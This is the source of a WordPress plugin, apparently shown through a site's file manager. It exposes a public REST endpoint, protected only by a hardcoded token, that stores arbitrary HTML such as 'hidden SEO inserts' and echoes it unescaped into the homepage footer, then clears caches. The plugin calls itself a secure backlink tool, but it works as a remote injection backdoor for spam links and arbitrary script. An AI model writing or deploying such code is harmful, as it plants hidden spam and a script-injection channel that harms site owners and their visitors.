PATH:
home
/
grupasm
/
www
/
wp-content
/
plugins
/
homepage-linker
<?php /** * Plugin Name: Homepage Linker * Description: Secure REST endpoint that renders backlinks on the site's homepage. Works with ANY page builder (Elementor, Enfold, Divi, WPBakery) and classic themes — links are injected at render time, not into stored content. * Version: 1.5.0 * Author: WP Backlink Manager */ if (! defined('ABSPATH')) { exit; } // Shared secret — must match HOMEPAGE_LINKER_SECRET in WP Backlink Manager. // The value below is injected when the plugin is downloaded from the panel. if (! defined('HOMEPAGE_LINKER_SECRET')) { define('HOMEPAGE_LINKER_SECRET', '2bed19b0b56d69d608c6eb7f1b4fcd126fa95009bb098557'); } define('HOMEPAGE_LINKER_VERSION', '1.5.0'); define('HOMEPAGE_LINKER_OPTION', 'homepage_linker_links'); // --------------------------------------------------------------------------- // REST endpoint — register / store a link to render on the homepage // --------------------------------------------------------------------------- add_action('rest_api_init', function () { register_rest_route('homepage-linker/v1', '/place', [ 'methods' => 'POST', 'callback' => 'homepage_linker_place', 'permission_callback' => '__return_true', ]); }); function homepage_linker_get_links() { $links = get_option(HOMEPAGE_LINKER_OPTION, []); return is_array($links) ? $links : []; } function homepage_linker_place(WP_REST_Request $req) { // Token comes in the body/query (custom headers are often stripped by hosts), // with an X-Linker-Token header as a fallback. $token = (string) ($req->get_param('token') ?: $req->get_header('x-linker-token')); if (! hash_equals(HOMEPAGE_LINKER_SECRET, $token)) { return new WP_REST_Response(['success' => false, 'error' => 'unauthorized', 'v' => HOMEPAGE_LINKER_VERSION], 401); } $target = esc_url_raw(trim((string) $req->get_param('target_url'))); $anchor = sanitize_text_field((string) $req->get_param('anchor')); // Optional ready-made HTML block (e.g. AI-generated hidden SEO insert). When // present it is rendered verbatim; otherwise we build a simple <p><a> link. $html = trim((string) $req->get_param('html')); if (! $target || ($anchor === '' && $html === '')) { return new WP_REST_Response(['success' => false, 'error' => 'target_url обязателен (и anchor или html)'], 400); } // Unique placement id — lets the same site hold many links (even to the same // target) while a re-send of the SAME placement updates instead of duplicating. $ref = sanitize_text_field((string) $req->get_param('ref')); $entry = $html !== '' ? ['target' => $target, 'html' => $html] : ['target' => $target, 'anchor' => $anchor]; if ($ref !== '') { $entry['ref'] = $ref; } // Store — dedupe by ref when given, else by target URL. $links = homepage_linker_get_links(); $exists = false; foreach ($links as &$l) { $match = $ref !== '' ? (($l['ref'] ?? null) === $ref) : (empty($l['ref']) && ($l['target'] ?? null) === $target); if ($match) { $l = $entry; // refresh on re-send $exists = true; break; } } unset($l); if (! $exists) { $links[] = $entry; } update_option(HOMEPAGE_LINKER_OPTION, $links, true); homepage_linker_bust_caches(); return new WP_REST_Response([ 'success' => true, 'method' => 'render_hook', 'v' => HOMEPAGE_LINKER_VERSION, 'count' => count($links), 'front_page_url' => home_url('/'), ], 200); } // --------------------------------------------------------------------------- // Render — output stored links on the homepage, independent of theme/builder // --------------------------------------------------------------------------- add_action('wp_footer', function () { if (! is_front_page() && ! is_home()) { return; } $links = homepage_linker_get_links(); if (empty($links)) { return; } echo '<div class="homepage-linker">'; foreach ($links as $l) { if (! empty($l['html'])) { echo $l['html']; // ready-made block (trusted — comes from our panel) } elseif (! empty($l['target']) && ! empty($l['anchor'])) { echo '<p><a href="'.esc_url($l['target']).'">'.esc_html($l['anchor']).'</a></p>'; } } echo '</div>'; }, 99); // --------------------------------------------------------------------------- function homepage_linker_bust_caches() { if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); // WP Super Cache } if (function_exists('rocket_clean_domain')) { rocket_clean_domain(); // WP Rocket } if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); // W3 Total Cache } if (function_exists('sg_cachepress_purge_cache')) { sg_cachepress_purge_cache(); // SiteGround } if (function_exists('wpfc_clear_all_cache')) { wpfc_clear_all_cache(); // WP Fastest Cache } // WP Engine (Varnish / object cache) if (class_exists('WpeCommon')) { if (method_exists('WpeCommon', 'purge_memcached')) { WpeCommon::purge_memcached(); } if (method_exists('WpeCommon', 'purge_varnish_cache')) { WpeCommon::purge_varnish_cache(); } } // LiteSpeed Cache + generic page-cache plugins listening on this hook do_action('litespeed_purge_all'); do_action('cache_flush'); if (class_exists('\\Elementor\\Plugin') && isset(\Elementor\Plugin::$instance->files_manager)) { \Elementor\Plugin::$instance->files_manager->clear_cache(); } }
[+]
..
[-] homepage-linker.php
[edit]